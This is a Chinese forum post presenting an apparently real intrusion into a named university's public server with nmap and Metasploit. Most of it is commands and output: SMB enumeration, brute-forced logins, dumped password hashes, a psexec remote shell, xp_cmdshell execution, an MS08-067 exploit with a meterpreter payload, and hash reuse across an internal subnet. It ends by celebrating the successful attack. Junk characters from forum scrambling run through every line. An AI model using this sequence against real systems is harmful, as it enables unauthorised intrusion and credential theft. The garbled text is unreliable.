中国网络渗透测试联盟

标题: nmap+msf入侵广西师范 [打印本页]
作者: admin    时间: 2012-12-4 12:46
标题: nmap+msf入侵广西师范
广西师范网站http://202.103.242.241/
3 @9 p# N8 [/ K" P$ i0 n
' q$ e3 Z. |( H' J- {4 }9 [root@bt:~# nmap -sS -sV 202.103.242.241* u. O- P- d+ e  W) p8 ?3 |/ ?; o/ p' k
; m* H1 P4 k5 ?7 U+ ]
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 21:54 CST% |( N- T3 a, ?. `9 W# b6 J

' g0 m& ~# p" u! Q" K# iNmap scan report for bogon (202.103.242.241)0 \  a6 F# N' y- I, L) q" A1 p- d

* O$ S0 _( z. p4 V( oHost is up (0.00048s latency).
. `& [1 e' E- ~3 S1 J$ ^/ J& S
0 X- C; x' p5 `7 K. r3 r% dNot shown: 993 closed ports' _$ W# ]9 C4 w1 z

6 f& V1 k! g* W/ RPORT     STATE SERVICE       VERSION
$ x, ]1 h5 e7 d( H
- p3 g( a" q  C8 W0 {) Z: c  g0 Q. L135/tcp  open  mstask        Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)! h! f8 V" K9 u5 l4 ]5 @1 I4 {' s" ?
. L7 H1 c! Q% |4 W
139/tcp  open  netbios-ssn
, r/ v* x& w2 p, o+ S" ]  V5 c* J3 }, H# t% {5 F6 ~- J
445/tcp  open  microsoft-ds  Microsoft Windows 2000 microsoft-ds: k" R' l* G: a0 |( D

( r8 S# Z$ u* Y' x  L3 S* y' ~; F1025/tcp open  mstask        Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)( _$ ~# K0 Q  q
! y* z1 E$ L# V" n9 l
1026/tcp open  msrpc         Microsoft Windows RPC# c3 H' K2 Y6 S7 s
  \, A, _# s; C7 p, B. o% b8 m
3372/tcp open  msdtc?
" ?8 l% I9 H/ G+ k; L0 l
/ {+ T7 _0 Y6 k3 X& \! _: v3389/tcp open  ms-term-serv?/ t5 n( ]$ g0 K& N6 }* D
, ~2 }* c& |! L, f2 a( i7 ~2 r" s, ?/ n
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :1 \! y6 h8 y3 e* d5 k
SF-Port3372-TCP:V=5.59BETA1%I=7%D=2/28%Time=4F4CDC90%P=i686-pc-linux-gnu%r
/ n; u3 q8 q8 E
' P2 l, p, N6 j  x+ j1 v& L2 ~$ ]SFGetRequest,6,”hO\n\x000Z”)%r(RTSPRequest,6,”hO\n\x000Z”)%r(HTTPOptions( N0 s+ v3 r7 y7 @9 f, T, ~

! r3 j, o+ M! e, F$ o  KSF:,6,”hO\n\x000Z”)%r(Help,6,”hO\n\x000Z”)%r(SSLSessionReq,6,”hO\n\x000Z”)
; O; a* ^2 ]) E3 U" \" q
& \' B" {! B+ l4 o/ hSF:%r(FourOhFourRequest,6,”hO\n\x000Z”)%r(LPDString,6,”hO\n\x000Z”)%r(SIPO
. F5 \" y5 B7 O( G3 _
2 Q/ Z6 d8 Q8 A4 h; uSF:ptions,6,”hO\n\x000Z”);( i. s5 H' @0 I3 g

4 u5 o9 J! D# U6 \$ D; F/ UMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems): O6 c/ ?" c  G0 y6 M# }$ S

; a* D! g5 g$ vService Info: OS: Windows
/ E6 J  @! a, m2 Y( _6 i  L/ D$ A' H8 [' }
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
3 }3 w; g3 G7 g4 c' ]8 P1 Z. [% q' |8 W0 c( P# o5 O* o
Nmap done: 1 IP address (1 host up) scanned in 79.12 seconds" P' T& f4 g6 m- D* h& Q3 X

" s  O  G5 o, J0 \3 q9 troot@bt:/usr/local/share/nmap/scripts# ls -la | grep smb  //列出扫描脚本
$ i% ?: U0 U+ |
% [. a0 k8 l8 N9 J-rw-r–r– 1 root root 44055 2011-07-09 07:36 smb-brute.nse
3 g7 {9 B/ Y. X0 O
" p3 R3 l  R5 U) Y: [1 O. l  j% x-rw-r–r– 1 root root 27691 2011-07-09 07:36 smb-check-vulns.nse+ f0 K' t6 S) k. A, H

2 L) x5 w- D6 I" F) b-rw-r–r– 1 root root  4806 2011-07-09 07:36 smb-enum-domains.nse
( s+ w; V3 T' f$ u3 `" ^  y$ f+ {) B8 `" \! W6 Y; w
-rw-r–r– 1 root root  3475 2011-07-09 07:36 smb-enum-groups.nse
  [8 G8 p4 q1 ~( \, n% @7 ?/ g  M1 ^% `! x% v2 ?) w* P
-rw-r–r– 1 root root  7958 2011-07-09 07:36 smb-enum-processes.nse* b1 W8 Q5 f" f
, b2 e/ g& j0 e/ O/ V. \
-rw-r–r– 1 root root 12221 2011-07-09 07:36 smb-enum-sessions.nse. q. p. f) z; W. D
$ K- ]1 m$ |, ~; v
-rw-r–r– 1 root root  6014 2011-07-09 07:36 smb-enum-shares.nse
6 H6 {- K) V. t8 s' `; w8 R) \& m: j( q5 |7 `
-rw-r–r– 1 root root 12216 2011-07-09 07:36 smb-enum-users.nse& ]' v# ?# t" @& f# k8 X9 R
, U& ]7 h/ ^! I# Q" `
-rw-r–r– 1 root root  1658 2011-07-09 07:36 smb-flood.nse" @; |3 T6 c: t. E8 Q# L! O

  J# l, b/ Q$ j-rw-r–r– 1 root root  2906 2011-07-09 07:36 smb-os-discovery.nse
  a  L% p5 `! F5 ^9 Q
* N% @6 r; }# t# s-rw-r–r– 1 root root 61005 2011-07-09 07:36 smb-psexec.nse( O6 w8 q4 P1 R$ `: ~" N$ b

# f5 B9 \; w$ m5 o% \-rw-r–r– 1 root root  4362 2011-07-09 07:36 smb-security-mode.nse
4 [0 r" \# K* _$ A, d! L4 J1 f* q0 r- O, {: @
-rw-r–r– 1 root root  2311 2011-07-09 07:36 smb-server-stats.nse( I( ?" W) w7 ^

" v7 {4 D& `( R- S( Y% j+ |-rw-r–r– 1 root root 13719 2011-07-09 07:36 smb-system-info.nse6 X$ M% A. T- ]! [3 M8 k/ F1 D
! @/ U2 X$ A" H0 t+ r% ]* g0 @
-rw-r–r– 1 root root  1429 2011-07-09 07:36 smbv2-enabled.nse2 C- @2 x0 c2 ]* _/ o: [

) E% y9 Y9 Y6 ~+ Sroot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-users.nse 202.103.242.241   ! h' N" m! a! @2 Q" Q6 M& u

, m: z5 @# z4 q0 G; ^& d5 Z//此乃使用脚本扫描远程机器所存在的账户名
8 y* f* A6 y1 N, ^/ u, N# C& H/ W* \
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:12 CST  A& }/ }$ Q  P1 L
8 u6 s. n4 t3 `6 \
Nmap scan report for bogon (202.103.242.241)
4 t( n1 k4 ~- E, T- [
5 U. B7 I% S; I# tHost is up (0.00038s latency).  z; g/ W1 @2 |: V7 C/ w3 {% U

8 ?, i/ J# O# I  [2 F( j: WNot shown: 993 closed ports  p* L3 H: x4 \9 }

, k8 [5 u$ L" \# w! h4 S8 ]PORT     STATE SERVICE, f( I+ G) u2 r9 ^+ f7 c% g

! P5 m3 t) Q' L% n' `( M8 I135/tcp  open  msrpc5 P. r- Q6 F( |5 P
! M, Y: p+ V! Y2 f+ k1 a+ A* Y
139/tcp  open  netbios-ssn
$ M) r1 v- [1 a1 S& |8 R" V( k5 m! Q4 z# G/ K' ]
445/tcp  open  microsoft-ds) l2 w0 M3 F5 P$ L% \; h
8 D1 X5 T! r! B; A+ ]8 Z* f
1025/tcp open  NFS-or-IIS
1 n2 ?* T" r  v# L6 v, t& i; _! G/ ^' x
1026/tcp open  LSA-or-nterm
- G3 V) i6 r3 ]0 r% T. o2 J: b) H  V) {3 q" F; `+ I8 \
3372/tcp open  msdtc" Z, P6 X- o( z6 R! [4 E
8 b8 B% C8 w5 l# I# I  Y) d' h' k
3389/tcp open  ms-term-serv" j: F% \+ I. S# _/ c5 r: V! J/ k
; N. ^: |+ j& K" u' U3 D, @
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)4 A/ `+ {% h, k0 ~
2 H4 K+ u( Q# n6 R% U% ~0 a
Host script results:5 _; f6 U& ^& \9 g3 N3 z
5 r) @9 X. r5 e& v
| smb-enum-users:8 k' J0 A7 i* i& R

) Q- ]  |% I: O- p' n' y|_  Domain: PG-F289F9A8EF3E; Users:Administrator, Guest, test, TsInternetUser //扫描结果& n+ n2 W, j. \4 H4 a* x. n
% z+ F% |: o3 k
Nmap done: 1 IP address (1 host up) scanned in 1.09 seconds
) {6 T, s; z  F, O7 |3 U( ]
% Z& l/ _1 f  }/ rroot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-shares.nse 202.103.242.241 $ W( |4 z  o+ g( C* n6 k4 w

% Y+ ?" q7 }& v' m' b//查看共享& |5 P  g; B( [

7 a' J* I2 r# _# I6 K3 `Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:15 CST* @$ }/ G) G  f9 S2 M; Y

9 ~1 s+ s/ j/ aNmap scan report for bogon (202.103.242.241)" y# v& ?4 F. c5 a# r% L6 u

* h$ ^* P2 _! ]) |. p7 DHost is up (0.00035s latency).
: w3 C6 g7 X) J  T$ Q8 I& a  R( ?4 N& ^- R. i% p
Not shown: 993 closed ports
6 u/ U5 u" O8 P# E* C3 k% _4 t/ g# Z8 k( k
PORT     STATE SERVICE
2 q5 T( j. {9 l9 K$ D% h  @% c2 [0 @# r* m# ]$ J
135/tcp  open  msrpc
( ^4 H) m3 A5 X1 u
+ q% O" ?* z' |0 |139/tcp  open  netbios-ssn8 L  \4 D2 p0 i( K& L9 ^: Y4 k
+ S$ E; \* o& m0 N
445/tcp  open  microsoft-ds
6 Y5 O; `  j9 v# q4 u$ e7 K# \, P5 L: L9 k
1025/tcp open  NFS-or-IIS7 o; {5 n  o* r; |& I! T
' K4 |, p7 S8 p8 H9 ]% x7 t
1026/tcp open  LSA-or-nterm
* s: }$ M7 J/ O8 @) S/ r9 p0 `6 R" F9 @- G& h0 O* e) Y
3372/tcp open  msdtc$ W# f. }1 k6 d
% O; O: A0 S0 y5 f$ V& {1 ?+ i) w
3389/tcp open  ms-term-serv1 [( k( o. f8 v: n

% f) B# v: r7 a9 H9 s/ j" MMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
# Y0 h- E8 s  T% f
4 G8 M- p2 ^. qHost script results:
& T: X2 I; C1 @8 C
: |7 w$ {) r$ S2 {| smb-enum-shares:" y& o- W* d! Y7 m7 T
2 f! m: P% d& D
|   ADMIN$
& F2 ^% v2 G! H) ~5 ~$ `# f
9 W* l8 R! S! v|     Anonymous access: <none>, D% h' P+ A3 I7 c: k  e0 _  h

  w* K" }. a+ _  c0 {|   C$
* I: W! M- E4 s2 N9 k) I1 q3 u0 L8 @" j$ R. W) ]
|     Anonymous access: <none>. B) E$ H! h8 r6 x' g/ m3 ^
$ y' }2 k' o# e7 _' v2 ~( d- y
|   IPC$& {3 C2 ]% Q/ d9 t3 _- z
6 X. g/ Z$ U/ z  U; j: R
|_    Anonymous access: READ6 _' }" r! T0 A5 g% {- f  E# m

4 c# B) E! _/ e+ U9 g2 ~Nmap done: 1 IP address (1 host up) scanned in 1.05 seconds; Y% ~( A( k8 f' k" \9 T; ?

, D0 F; @- @2 Y# H# {5 Z) \  croot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse 202.103.242.241      
' i2 C$ [$ X" Q8 g2 v. t. W+ G1 N, i- L1 U8 n* m, \
//获取用户密码
- @/ W- y6 Y3 b- E( B4 f
! H4 @+ _& `1 X8 V+ `( G& ^4 O: LStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:17 CST
2 k8 H- [+ i( M& J3 c, F. U* J) E) A; G
Nmap scan report for bogon (202.103.242.2418). G6 b7 ]9 Q' i8 C, [, H+ h% G
/ ?$ T  _8 S3 M/ u
Host is up (0.00041s latency).
8 t$ t3 Y) E* s4 e  p8 e
( Y$ y) J: Z% E) l* _2 h3 xNot shown: 993 closed ports
  u. E9 y( S2 t0 l. a0 \8 v3 h6 V  j
$ k; ^0 Q& O3 q  E1 UPORT     STATE SERVICE$ {) ]1 H# b& U, x: `7 f9 ^3 {

: J* D+ R# n; I+ S135/tcp  open  msrpc
6 `- w- [& C) _9 z! ]9 S* n, f7 h8 v' o& ]/ q2 N, ]7 v& S
139/tcp  open  netbios-ssn
( z/ n' N4 v2 x- ]. F& |
# [- k: `9 F) [- i; d445/tcp  open  microsoft-ds
. {2 Q' e% Q/ O7 B5 v+ d# G) p7 l! N, a
1025/tcp open  NFS-or-IIS. o6 L) ~+ ^6 M8 o' j& d; ?
! ~8 Q7 c- S6 _5 g7 Y3 r
1026/tcp open  LSA-or-nterm9 W- d. W' N# G% ~% \& i% ^! Z& j
) y; n" ]/ V; g% \
3372/tcp open  msdtc
$ K0 A- p' f: L. n# v
9 B+ N% v& J/ y, |3389/tcp open  ms-term-serv
. A3 O  w: @9 l
, ~" {- d+ |8 [, C% |MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
0 o, F/ G; D5 n; ~) o- s7 @% v' D  w- Z7 O" k$ Y
Host script results:! l# B0 `/ h7 U5 n! J; z

! `& n' Z7 Z' c: m; P( D+ S! w. H| smb-brute:
! F5 @9 O, l1 l# {& S
7 i2 C7 _2 i- g. y8 @( M* |+ wadministrator:<blank> => Login was successful
1 l+ M$ ^. U, Z( k1 x
' x9 b* M5 ~0 C0 z|_  test:123456 => Login was successful
% ]1 }7 z4 Q" w- a
& j- D5 v% Z7 G4 {/ j6 ~Nmap done: 1 IP address (1 host up) scanned in 28.22 seconds
* @5 G5 B" S2 r( k2 ?( W1 f) R  M; \8 p8 r+ M4 ?# V+ c
root@bt:~# wget http://swamp.foofus.net/fizzgig/ ... -exe-only.tar.bz2//抓hash" N& w- p. R9 Q/ ?3 Y! K: J

* g, [$ X" B5 c& broot@bt:~# tar -jxvf pwdump6-1.7.2-exe-only.tar.bz2 -C /usr/local/share/nmap/nselib/data( y  W2 C5 ]" ?5 U: `8 k

! _% u! t: L% S4 d- I& {root@bt:/usr/local/share/nmap/scripts# wget https://svn.nmap.org/nmap-exp/dev/nmap/scripts/smb-pwdump.nse
* a" g+ E& a5 T& Y
" N1 d8 f+ X/ f' `  _$ uroot@bt:~# nmap –script=smb-pwdump.nse –script-args=smbuser=test,smbpass=123456 202.103.242.241 -p 135,445,1396 m. m, M# ?; h4 M
! Z9 t- n  Y, W
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:25 CST1 w" Z0 X. O4 j% F8 C# j/ M: ?5 \
% P1 B1 [0 Y) I$ B. l( Z; T
Nmap scan report for bogon (202.103.242.241)- R: r# R/ L0 M3 e6 Z+ |; S! d

0 r+ h0 }1 K: M! E$ jHost is up (0.0012s latency).9 g) {7 |2 D& ]1 w" D  |% K; p
: b: B! Z' x" }; N. X. z
PORT    STATE SERVICE2 O6 |& e# f; B# m/ I: \/ t
3 }* |9 B6 r: t" v. h6 W) L4 _
135/tcp open  msrpc
0 ~5 B# c7 d6 w9 Q: e: g7 r7 b. ^# j, l% h6 k
139/tcp open  netbios-ssn
3 N  F& ~0 y+ d5 k7 y( F9 s. m' c
445/tcp open  microsoft-ds; y9 E: a7 T  s, t, ]
# {1 e, |! T/ g5 U! U4 }
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
2 G: n3 p$ w+ {( v- L; b) c3 J9 r7 d
Host script results:: a# f- U9 B; A2 n3 B/ o$ c

& L6 q! ?$ ]/ ~| smb-pwdump:& r9 I  I5 h! S& ?# y( Q# o0 ]1 B

: C, `4 F' F+ S; u* i| Administrator:500 => NO PASSWORD*********************:NO PASSWORD*********************# ^& }" x" @) V+ Q* v
5 o: H2 i2 k: ?, h+ i$ @
| Guest:501 => NO PASSWORD*********************:NO PASSWORD*********************
2 R# u: D7 f. F6 j  v) w( z+ q7 \* V. y* ]1 z  z
| test:1002 => 44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D4! A3 X2 w2 H& o" q1 E$ y2 ~

$ [' k8 y; u4 v|_TsInternetUser:1000 => A63D5FC7F284A6CC341A5A0240EF721E:262A84B3E8D4B1CC32131838448C98D2
$ a- z  X, M( }, F+ |% {
3 U+ s1 g" c$ T; _& U' ~Nmap done: 1 IP address (1 host up) scanned in 1.85 seconds
! D" _+ L  F2 m/ M+ c
, i8 }) t3 [! W: L  P" P$ r0 FC:\Documents and Settings\Administrator\桌面>psexec.exe \\202.103.242.241  -u test             //获取一个cmdshell
  Q* o+ h. n# c! C, V' H
4 N6 a$ H# ?& A8 b-p 123456 -e cmd.exe8 z9 T2 K+ u" {, X! v" s' g1 G
5 E+ |9 Y$ T' @% G! e' y
PsExec v1.55 – Execute processes remotely
, F6 n% j) {; p" G* [  P
: Q2 }$ B1 M3 k0 l* xCopyright (C) 2001-2004 Mark Russinovich
  p3 ^# r* Y7 F# a+ d* a
: g5 W# O; v1 i9 x8 VSysinternals – www.sysinternals.com
- y+ w1 i4 @0 C' \# i6 |
& Z2 g  T( _. E0 b8 m; u8 FMicrosoft Windows 2000 [Version 5.00.2195]
; C: i7 J& h- ~. Z& J$ Y
2 t# T7 b2 a) B7 g(C) 版权所有 1985-2000 Microsoft Corp.. U( C/ h2 I, N% K4 `
0 E  [. z3 ]  ]( u9 l% Z
C:\WINNT\system32>ipconfig
+ g& F; `2 d& b2 L' C% \: w+ C
- n' U4 _4 e- n! m( R) b# p$ x3 nWindows 2000 IP Configuration( q  O+ D$ c2 E" B. [8 {

7 h5 U/ Q. i6 J: }1 E  {4 fEthernet adapter 本地连接:+ M& _0 Z- c5 ?" q2 Y: Q
& n* I/ C$ S- |' S
Connection-specific DNS Suffix  . :
/ ?! h4 E; t8 |3 D- T5 C( l7 o! }. I2 [
IP Address. . . . . . . . . . . . : 202.103.242.241
+ j9 E3 d0 S5 _% k% S9 R% I% \* T' ~( ?1 Q
Subnet Mask . . . . . . . . . . . : 255.255.255.0& Z6 k" `6 ^9 R
1 \5 J# a0 U$ a9 }- c/ ^7 |# \
Default Gateway . . . . . . . . . : 202.103.1.1
' f' ]: x5 o" T8 v  @0 }! }1 c/ z0 O2 N( L1 n  r3 q8 P2 y8 \* m. {
C:\Documents and Settings\Administrator\桌面\osql>osql.exe -S 202.103.242.241 -U sa -P “123456″ -Q “exec master..xp_cmdshell ＇net user＇ “   //远程登录sa执行命令  @1 j+ i: s, k/ c/ H' I' y
# k. c  c, M& F6 T0 c7 X
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-check-vulns.nse 202.103.242.241     //检测目标机器漏洞9 N8 `( d' o2 E: E$ K) I% o

; Z8 v& y- V  [5 [Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:41 CST# o4 v# _; Y' ~4 R9 w7 D

$ i$ R& {1 M  T/ O9 a, U; \# u! lNmap scan report for bogon (202.103.242.241)
8 N6 }# y) P0 p5 c1 U% r7 w$ _& K
% j8 N( @/ s# Y' s" Y; YHost is up (0.00046s latency).2 ^3 }; J" f; a" k5 S# x# D9 H
4 d/ ^( E, i5 @- I1 D1 c/ `
Not shown: 993 closed ports9 ]; l8 _( q4 F" X. V# {
! F& ~2 Z/ \& Q: ^1 K
PORT     STATE SERVICE4 R# l+ d; Z* b8 B9 P
/ _, Z4 S$ z3 l( V2 l9 |, d& R
135/tcp  open  msrpc
% c% u$ v) v$ o0 I8 ?! I* }! `
+ ~7 f/ x" c& q, k9 y139/tcp  open  netbios-ssn
) I9 d- o  T5 f* h; x* w/ U
  D3 C3 z6 W& d2 I! c445/tcp  open  microsoft-ds. |5 }9 c$ b2 j$ R

0 s7 E" ~" k" Z, t1025/tcp open  NFS-or-IIS
+ D$ k6 @1 @. b8 \
1 g# k1 P$ k5 w9 ~1026/tcp open  LSA-or-nterm) x, Q! I4 b# q" |$ s
) Y6 v1 l. w, c
3372/tcp open  msdtc( c1 \& Y' O7 x* c  l9 B; L5 j: G' L2 D
$ U0 U6 S0 C( l6 O
3389/tcp open  ms-term-serv
# x' e3 p& S- H3 O
- h- E; l0 l9 N! v! D( qMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
( v0 o, X7 n4 u% u. ]; h4 v& p) S6 o, a6 G6 F0 U9 Q# }9 C/ t: u
Host script results:2 H, J$ j& t5 M. G# X

5 D& p+ f2 X7 N( j: ?0 s3 X| smb-check-vulns:
4 V: z' {- O, x$ n# L: c% d$ s
8 ?9 E6 k2 r  `3 @  y) |! l  c' r|_  MS08-067: VULNERABLE
3 S4 w. [) ^0 `. x0 m2 `2 M6 Y. ?! e5 t# P
Nmap done: 1 IP address (1 host up) scanned in 1.43 seconds* ]9 U0 ]% q9 M9 N- N
3 Y% h- x( z% L/ t. [
root@bt:~# msfconsole                                             //在msf上利用ms08-067漏洞对目标机器进行溢出
, H5 [/ `# s- o3 y% b
- G$ f8 m; M. Y0 r  h4 c4 hmsf > search ms08) j1 s+ P; c/ @. O

+ ]) V2 o# L' l% s- smsf > use exploit/windows/smb/ms08_067_netapi
, r7 G; Y- ^' W1 |# S* i
9 @7 M9 j( [3 ]& f9 Cmsf  exploit(ms08_067_netapi) > show options
8 x, B' U: F* \
5 [. ?1 f: `7 M% a) {# Vmsf  exploit(ms08_067_netapi) > set RHOST 202.103.242.2413 S( `# A3 V# x  v  T( N* `

  k! W, _7 @, g$ l! omsf  exploit(ms08_067_netapi) > show payloads" I" Q) ~0 {' L7 v5 |% C# e* L
6 m; X! n2 l2 r: g8 _
msf  exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp7 \& k3 v6 b& |  [4 I& L" S
% H# O* y8 V$ e3 B
msf  exploit(ms08_067_netapi) > exploit7 x3 h7 |$ r- R1 E

  M% U4 J, F. m$ o5 gmeterpreter >' p: P3 o7 Z6 Y# \
- E5 A& k# [7 w4 n) z
Background session 2? [y/N]  (ctrl+z)
9 f. K4 m) G. O% N: v6 s& c. D6 j1 z# B% m* l; K2 a( @
msf  exploit(ms08_067_netapi) > sessions -l4 h. L2 k8 a. L$ |* m0 g. f
/ s3 Y8 J' x( Q+ ^, v: ]% Y
root@bt:/usr/local/share/nmap/scripts# vim usernames.txt: ?; d# v( G& L( r9 _6 X! O7 j

% G+ ~& n2 b" g3 j/ L% Jtest
* s- S- }# W5 X$ x/ M7 T/ c# A) M2 l
administrator3 G( |& x) d& v2 x! S' g
$ G. g7 C8 {1 s3 M3 P& O
root@bt:/usr/local/share/nmap/scripts# vim password.txt) s7 H) g! B+ _9 `& ^, a" B7 u/ w4 e

; m- p4 ~$ }( A44EFCE164AB921CAAAD3B435B51404EE
: ~1 K. B6 Q- X/ Q: W5 k% Y* M* v0 [( V7 z7 e. i' L) S4 Q
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse –script-args=userdb=usernames.txt,passdb=password.txt 192.168.1.1-254 0 R, n% w) {5 ?$ v- g
2 h) |( L$ u- H
//利用用户名跟获取的hash尝试对整段内网进行登录
( A& x8 J. a; A
3 |# u0 X! r" }' XNmap scan report for 192.168.1.105
: q* M6 X- T  f% O$ A2 I: c- ]$ L' {; G9 p! n+ F# d
Host is up (0.00088s latency).' K* a! m, C8 o( C; H$ T# Q  f) L

# D  V5 p( F$ _! o0 P2 I( ZNot shown: 993 closed ports
4 n: w: v9 p  @4 a" Y( T5 M, {
  B. F# [) p) {% E2 X: q8 y1 n5 @PORT     STATE SERVICE7 q- j  V. I& b- F" s
6 t& |9 i% v# |6 B5 z% @! [3 k
135/tcp  open  msrpc5 `) f: V# a7 K& o3 E! m

5 v  O2 G( e3 L& X139/tcp  open  netbios-ssn5 L; z3 e5 s& q6 j% {

! ?- G! D1 Z. t8 q% c9 a! Q; L445/tcp  open  microsoft-ds5 J! x+ H% z% V9 B' Y/ `

# o/ P0 a; O% m% n9 A9 v1025/tcp open  NFS-or-IIS
' E# |$ M; |$ a) Z) [# p
7 T1 X& S; m5 a4 y' `1026/tcp open  LSA-or-nterm
& F) {* p) x+ Q: z+ T
( y3 F0 G2 F: S& }% M; Z3372/tcp open  msdtc3 U2 w3 o) E0 L' m* f

/ {- U$ S0 N) S# u3389/tcp open  ms-term-serv
! o( n! Z6 X$ u1 Y
* h8 Z5 m) l7 BMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
, K( F/ J( P2 w5 N9 c  M* W# `+ {+ {! H1 z
Host script results:
7 E0 t: [6 _, z7 U" I! Y
5 B1 x0 w  f% Y" A| smb-brute:8 O/ V+ f' P; r5 P: F  d

, u. r. F! |! T1 X! h7 I|_  administrator:<blank> => Login was successful# g8 C. k0 w) \- `& t

6 f% c3 y' f/ g. j6 z" x攻击成功，一个简单的msf+nmap攻击~~·3 T- M) |9 w& S* I- I
% J0 `* {1 i5 x! X8 B7 m




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2